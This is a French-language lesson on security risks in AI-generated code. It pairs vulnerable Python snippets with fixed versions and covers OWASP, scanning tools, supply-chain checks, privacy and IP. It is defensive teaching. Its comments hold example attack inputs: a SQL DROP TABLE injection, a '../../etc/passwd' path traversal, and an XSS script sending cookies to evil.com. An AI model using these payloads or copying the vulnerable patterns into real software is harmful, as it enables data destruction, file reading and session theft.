Aller au contenu principal

Securite dans le codage assiste par IA

Theorie 45 min

Pourquoi la securite compte davantage avec le code IA

Les assistants de codage IA generent du code en predisant des motifs statistiquement probables a partir de donnees d'entrainement. Ces donnees d'entrainement incluent des millions de depots — dont beaucoup contiennent du code non securise, des pratiques depassees et meme des vulnerabilites connues.

Avertissement critique

Les etudes montrent que le code genere par l'IA contient des vulnerabilites de securite dans environ 40 % des cas lorsque les developpeurs ne specifient pas d'exigences de securite dans leurs invites. Les modeles IA optimisent la correctitude fonctionnelle, pas la securite par defaut.

Analogie concrete

Imaginez un chef forme en regardant chaque video de cuisine sur Internet — y compris celles avec de mauvaises pratiques d'hygiene. Le chef peut preparer des plats appetissants, mais si vous ne demandez pas explicitement la conformite a la securite alimentaire, il pourrait sauter le lavage des mains. La generation de code par IA fonctionne de la meme maniere : vous devez demander explicitement des pratiques de codage securise.


Vulnerabilites de securite courantes dans le code genere par l'IA

1. Injection SQL

Les modeles IA generent frequemment du code qui concatene directement l'entree utilisateur dans les requetes SQL au lieu d'utiliser des requetes parametrees.

❌ Non securise (l'IA genere souvent ceci) :

# VULNERABLE: SQL Injection
@app.get("/users")
def search_users(name: str):
query = f"SELECT * FROM users WHERE name = '{name}'"
result = db.execute(query)
return result.fetchall()

# Attack: name = "'; DROP TABLE users; --"

✅ Securise (ce que vous devez exiger) :

# SAFE: Parameterized query
@app.get("/users")
def search_users(name: str):
query = text("SELECT * FROM users WHERE name = :name")
result = db.execute(query, {"name": name})
return result.fetchall()

Encore mieux avec un ORM :

# SAFE: SQLAlchemy ORM
@app.get("/users")
def search_users(name: str, db: Session = Depends(get_db)):
return db.query(User).filter(User.name == name).all()
L'injection SQL est n°1 pour une raison

L'injection SQL est la vulnerabilite n°1 des applications web depuis plus de deux decennies. Les modeles IA, entraines sur du code ancien, produisent frequemment des requetes injectables. Utilisez toujours des requetes parametrees ou un ORM.

2. Secrets et identifiants en dur

Les modeles IA incluent souvent des identifiants de remplacement que les developpeurs oublient de remplacer :

❌ Non securise :

# VULNERABLE: Hardcoded credentials
DATABASE_URL = "postgresql://admin:password123@db.example.com:5432/production"
API_KEY = "sk-1234567890abcdef"
JWT_SECRET = "super-secret-key"

def get_db():
return create_engine(DATABASE_URL)

✅ Securise :

# SAFE: Environment variables
import os
from dotenv import load_dotenv

load_dotenv()

DATABASE_URL = os.environ["DATABASE_URL"]
API_KEY = os.environ["API_KEY"]
JWT_SECRET = os.environ["JWT_SECRET"]

def get_db():
if not DATABASE_URL:
raise RuntimeError("DATABASE_URL environment variable is not set")
return create_engine(DATABASE_URL)

3. Deserialisation non securisee

L'IA peut suggerer d'utiliser pickle pour charger des donnees non fiables — une vulnerabilite critique :

❌ Non securise :

import pickle

# VULNERABLE: Loading untrusted pickle data
def load_model(file_path: str):
with open(file_path, "rb") as f:
return pickle.load(f) # Can execute arbitrary code!

✅ Securise :

import joblib
import hashlib

# SAFE: Verify integrity before loading
EXPECTED_HASH = "sha256:a1b2c3d4..."

def load_model(file_path: str):
with open(file_path, "rb") as f:
data = f.read()

file_hash = f"sha256:{hashlib.sha256(data).hexdigest()}"
if file_hash != EXPECTED_HASH:
raise ValueError("Model file integrity check failed")

return joblib.load(file_path)

4. Traversee de chemins

Le code de gestion de fichiers genere par l'IA ne valide souvent pas les chemins :

❌ Non securise :

# VULNERABLE: Path traversal
@app.get("/files/{filename}")
def get_file(filename: str):
file_path = f"/uploads/{filename}"
return FileResponse(file_path)

# Attack: filename = "../../etc/passwd"

✅ Securise :

from pathlib import Path

UPLOAD_DIR = Path("/uploads").resolve()

@app.get("/files/{filename}")
def get_file(filename: str):
safe_path = (UPLOAD_DIR / filename).resolve()

if not safe_path.is_relative_to(UPLOAD_DIR):
raise HTTPException(status_code=400, detail="Invalid file path")

if not safe_path.exists():
raise HTTPException(status_code=404, detail="File not found")

return FileResponse(safe_path)

5. Validation des entrees manquante

L'IA genere souvent le « chemin heureux » sans valider les entrees :

❌ Non securise :

# VULNERABLE: No input validation
@app.post("/transfer")
def transfer_money(data: dict):
from_account = data["from"]
to_account = data["to"]
amount = data["amount"]

db.execute(f"UPDATE accounts SET balance = balance - {amount} WHERE id = {from_account}")
db.execute(f"UPDATE accounts SET balance = balance + {amount} WHERE id = {to_account}")
return {"status": "success"}

✅ Securise :

from pydantic import BaseModel, Field, validator

class TransferRequest(BaseModel):
from_account: int = Field(..., gt=0)
to_account: int = Field(..., gt=0)
amount: float = Field(..., gt=0, le=10000)

@validator("to_account")
def accounts_must_differ(cls, v, values):
if "from_account" in values and v == values["from_account"]:
raise ValueError("Cannot transfer to the same account")
return v

@app.post("/transfer")
def transfer_money(request: TransferRequest, db: Session = Depends(get_db)):
with db.begin():
sender = db.query(Account).filter(Account.id == request.from_account).with_for_update().first()
if not sender or sender.balance < request.amount:
raise HTTPException(status_code=400, detail="Insufficient funds")

sender.balance -= request.amount
receiver = db.query(Account).filter(Account.id == request.to_account).with_for_update().first()
if not receiver:
raise HTTPException(status_code=404, detail="Receiver account not found")
receiver.balance += request.amount

return {"status": "success", "new_balance": sender.balance}

6. Cross-Site Scripting (XSS)

L'IA peut generer du code web qui n'echappe pas l'entree utilisateur :

❌ Non securise :

# VULNERABLE: XSS via unescaped HTML
@app.get("/profile/{username}")
def show_profile(username: str):
return HTMLResponse(f"<h1>Welcome, {username}!</h1>")

# Attack: username = "<script>document.location='http://evil.com/steal?c='+document.cookie</script>"

✅ Securise :

from markupsafe import escape

@app.get("/profile/{username}")
def show_profile(username: str):
safe_name = escape(username)
return HTMLResponse(f"<h1>Welcome, {safe_name}!</h1>")

OWASP Top 10 et code genere par l'IA

Le OWASP Top 10 est la reference standard des risques de securite des applications web. Voici comment le code genere par l'IA s'articule avec chacun :

Risque OWASPPertinence IANiveau de risque
A01 : Controle d'acces defectueuxL'IA genere rarement des controles d'autorisation sauf demande🔴 Critique
A02 : Defaillances cryptographiquesL'IA peut utiliser des algorithmes faibles (MD5, SHA1 pour les mots de passe)🔴 Critique
A03 : InjectionSQL, NoSQL, injection de commandes via concatenation de chaines🔴 Critique
A04 : Conception non securiseeL'IA genere du code, pas l'architecture — conception securisee manquante🟡 Eleve
A05 : Mauvaise configuration securiseeMode debug active, identifiants par defaut, erreurs verbeuses🟡 Eleve
A06 : Composants vulnerablesL'IA peut suggerer des paquets obsoletes ou vulnerables🔴 Critique
A07 : Defaillances d'authentificationPolitiques de mot de passe faibles, limitation de debit absente, failles de session🟡 Eleve
A08 : Defaillances d'integrite des donneesDeserialisation non securisee (pickle), controles d'integrite manquants🟡 Eleve
A09 : Defaillances de journalisationL'IA omet souvent la journalisation ; peut journaliser des donnees sensibles quand elle le fait🟢 Moyen
A10 : SSRFRecuperation d'URL generee par l'IA sans validation🟡 Eleve

Analyse de code et outils de securite

Ne vous fiez jamais uniquement a la revue manuelle. Utilisez des outils automatises pour detecter les vulnerabilites :

Outils specifiques Python

OutilCe qu'il analyseIntegration
BanditProblemes de securite specifiques Python (eval, pickle, SQL)CLI, CI/CD, pre-commit
SafetyVulnerabilites connues dans les paquets installesCLI, CI/CD
pip-auditBase de donnees de vulnerabilites des paquets (PyPI)CLI, GitHub Actions
mypyErreurs de type pouvant conduire a des problemes de securiteCLI, IDE, CI/CD

Outils generalistes

OutilCe qu'il analyseLangages supportes
SnykDependances + vulnerabilites du codePython, JS, Java, Go, ...
SonarQubeQualite du code + vulnerabilites de securite30+ langages
SemgrepRegles d'analyse statique personnaliseesPython, JS, Go, Java, ...
TrivyImages conteneur + IaC + systeme de fichiersUniversel
CodeQLAnalyse semantique approfondie du codePython, JS, Java, C/C++, Go

Exemple : Executer Bandit sur du code genere par l'IA

# Install bandit
pip install bandit

# Scan a single file
bandit -r my_ai_generated_code.py

# Scan entire project with medium+ severity
bandit -r ./src -ll

# Generate a report
bandit -r ./src -f json -o security_report.json

Exemple de sortie Bandit :

>> Issue: [B608:hardcoded_sql_expressions] Possible SQL injection vector
Severity: Medium Confidence: Low
Location: ./api/routes.py:42
More Info: https://bandit.readthedocs.io/en/latest/plugins/b608

41 def search_users(name: str):
42 query = f"SELECT * FROM users WHERE name = '{name}'"
43 result = db.execute(query)

Integrer l'analyse de securite dans votre flux de travail

Voir le pipeline d'analyse de securite

Attaques de la chaine d'approvisionnement

Le risque des paquets suggeres par l'IA

Les modeles IA peuvent suggerer des paquets qui :

  1. N'existent pas — les attaquants peuvent enregistrer ces noms avec du code malveillant (« dependency confusion »)
  2. Sont des typosquats — noms similaires a des paquets populaires (ex. reqeusts vs requests)
  3. Sont deprecies — plus maintenus, avec des vulnerabilites connues
  4. Sont compromis — paquets legitimes dont les comptes des mainteneurs ont ete pirates

Comment verifier un paquet

Avant d'executer pip install sur tout paquet suggere par l'IA :

# 1. Check if it exists and see metadata
pip index versions package-name

# 2. Check on PyPI website
# Visit: https://pypi.org/project/package-name/

# 3. Look at download statistics (should be high for legitimate packages)
# Visit: https://pypistats.org/packages/package-name

# 4. Check the GitHub repository linked from PyPI
# - Does it have stars?
# - When was it last updated?
# - Does the author maintain other known packages?
Attaque reelle : l'incident « pytorch-nightly »

En decembre 2022, un paquet malveillant torchtriton a ete publie sur PyPI et installe par toute personne executant pip install pytorch-nightly. Le paquet a vole des cles SSH, des identifiants AWS et d'autres fichiers sensibles. Verifiez toujours les paquets avant de les installer.

Liste de verification : avant d'installer un paquet suggere par l'IA
  • Verifier que le paquet existe sur PyPI
  • Verifier le nombre de telechargements (les paquets majeurs ont des millions de telechargements)
  • Verifier que l'auteur/mainteneur est credible
  • Verifier la date de derniere mise a jour (eviter les paquets abandonnes)
  • Lire le README et les issues GitHub
  • Verifier les vulnerabilites connues : pip-audit ou safety check
  • Comparer le nom exact du paquet (attention au typosquatting)
  • Figer la version dans votre fichier requirements

Confidentialite des donnees lors de l'utilisation d'outils IA

Quelles donnees sont envoyees aux fournisseurs d'IA

Lorsque vous utilisez des outils de codage IA, votre code est envoye vers des serveurs externes pour traitement :

OutilDonnees envoyeesConservation des donneesPossibilite de desactivation ?
GitHub CopilotFichier actuel + contexteNon utilise pour l'entrainement (Business)Oui (plan Business)
ChatGPTTout ce que vous collezPeut etre utilise pour l'entrainement (Gratuit)Oui (desactivation dans les parametres)
CursorFichiers + contexte du projetVarie selon le plan et le modeleMode confidentialite disponible
CodeWhispererFichier actuelNon partage (Professional)Oui
Risques de confidentialite des donnees

Ne collez jamais les elements suivants dans les outils de chat IA :

  • Cles API, mots de passe ou jetons
  • Donnees clients ou PII (informations personnellement identifiables)
  • Algorithmes proprietaires ou secrets commerciaux
  • Details d'infrastructure interne (IP, noms d'hotes, identifiants)
  • Donnees soumises a des exigences de conformite (HIPAA, PCI-DSS, RGPD)

Strategies d'attenuation

StrategieDescription
Utiliser les plans entrepriseLes plans Business n'entrainent generalement pas sur votre code
Sanitiser avant de solliciterRemplacer les vrais secrets par des placeholders avant de coller
Modeles auto-hebergesExecuter des modeles open source localement (Ollama + CodeLlama, DeepSeek)
Politiques de revue de codeExiger une revue humaine de tout code genere par l'IA
Outils DLPUtiliser des outils de prevention des pertes de donnees pour detecter les secrets divulgues

Comment sanitiser le code avant de solliciter l'IA

# AVANT ENVOI A L'IA (votre code reel) :
DATABASE_URL = "postgresql://prod_admin:X7$kL9mN@db.mycompany.com:5432/customers"
STRIPE_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"

# APRES SANITISATION (ce que vous envoyez a l'IA) :
DATABASE_URL = "postgresql://user:password@hostname:5432/dbname"
STRIPE_KEY = "sk_live_XXXXXXXXXXXXXXXXXXXX"

Preoccupations en matiere de propriete intellectuelle

Questions cles pour le code genere par l'IA

QuestionConsideration
Qui possede le code genere par l'IA ?Varie selon la juridiction — generalement le developpeur/l'entreprise
L'IA peut-elle reproduire du code protege par le droit d'auteur ?Oui — l'IA peut reproduire du code GPL/AGPL textuellement
Contamination de licence ?Si l'IA copie du code GPL dans votre projet MIT, vous pouvez avoir un probleme
Risques de brevet ?L'IA peut generer du code qui enfreint des brevets logiciels

Bonnes pratiques pour la protection de la PI

  1. Activer la detection des references de code — GitHub Copilot peut signaler quand les suggestions correspondent a du code public
  2. Utiliser des outils conscients des licences — Certains outils filtrent les suggestions provenant de depots copyleft
  3. Documenter l'utilisation de l'IA — Conserver des traces de ce qui a ete genere par l'IA pour la clarte juridique
  4. Verifier l'unicite — Si une suggestion semble trop specifique, rechercher la source
  5. Suivre la politique IA de votre organisation — De nombreuses entreprises ont des directives specifiques

Liste de verification du codage securise pour le code genere par l'IA

Utilisez cette liste de verification complete chaque fois que vous integrez du code genere par l'IA :

Authentification et autorisation

  • Tous les points de terminaison necessitent une authentification sauf s'ils sont explicitement publics
  • Les controles d'autorisation verifient que l'utilisateur a la permission pour la ressource specifique
  • Les mots de passe sont haches avec bcrypt/argon2 (pas MD5/SHA1)
  • Les jetons JWT ont des delais d'expiration appropries
  • La limitation de debit est appliquee aux points de terminaison d'authentification

Validation des entrees

  • Toutes les entrees utilisateur sont validees (type, longueur, format, plage)
  • Les requetes SQL utilisent des instructions parametrees ou un ORM
  • Les chemins de fichiers sont valides contre la traversee de chemins
  • Les URL sont validees avant recuperation (prevention SSRF)
  • La sortie HTML est echappee pour prevenir le XSS

Protection des donnees

  • Pas d'identifiants, cles API ou secrets en dur
  • Les donnees sensibles sont chiffrees au repos et en transit
  • Les journaux ne contiennent pas de mots de passe, jetons ou PII
  • Les messages d'erreur ne revelent pas les details d'implementation internes
  • Les connexions base de donnees utilisent TLS/SSL

Dependances

  • Tous les paquets existent sur PyPI/npm et sont legitimes
  • Les versions des paquets sont figees dans les fichiers requirements
  • Aucune vulnerabilite connue (verifie avec pip-audit/safety)
  • Pas de dependances inutiles (minimiser la surface d'attaque)

Gestion des erreurs

  • Les exceptions sont capturees et traitees de maniere appropriee
  • Des messages d'erreur generiques sont retournes aux utilisateurs (pas de traces de pile)
  • Les erreurs detaillees sont journalisees cote serveur pour le debogage
  • L'application ne plante pas sur une entree inattendue

Sollicitation axe securite

Pour obtenir du code plus securise de l'IA, demandez explicitement la securite dans vos invites :

❌ Invite non securisee :

Write a login endpoint for FastAPI

✅ Invite axe securite :

Write a secure login endpoint for FastAPI that:
- Uses bcrypt for password verification
- Returns JWT tokens with 15-minute expiry
- Implements rate limiting (5 attempts per minute per IP)
- Returns generic "Invalid credentials" for both wrong email and wrong password
- Logs failed attempts without logging the attempted password
- Uses constant-time comparison for password verification
- Sets secure, HTTP-only cookie flags for the token

Points cles a retenir

ConceptResume
Risque securite IA~40 % du code genere par l'IA contient des vulnerabilites lorsque la securite n'est pas specifiee
Principales vulnerabilitesInjection SQL, secrets en dur, traversee de chemins, XSS, deserialisation non securisee
Alignement OWASPLe code IA declenche frequemment les categories OWASP Top 10
Outils d'analyseBandit, Snyk, SonarQube, Semgrep, pip-audit
Chaine d'approvisionnementVerifier tous les paquets suggeres par l'IA avant installation
Confidentialite des donneesNe jamais coller de secrets, PII ou code proprietaire dans les outils IA
Preoccupations PIL'IA peut reproduire du code protege par le droit d'auteur — activer la detection des references
Sollicitation securiseeDemander explicitement les exigences de securite dans chaque invite

Pour aller plus loin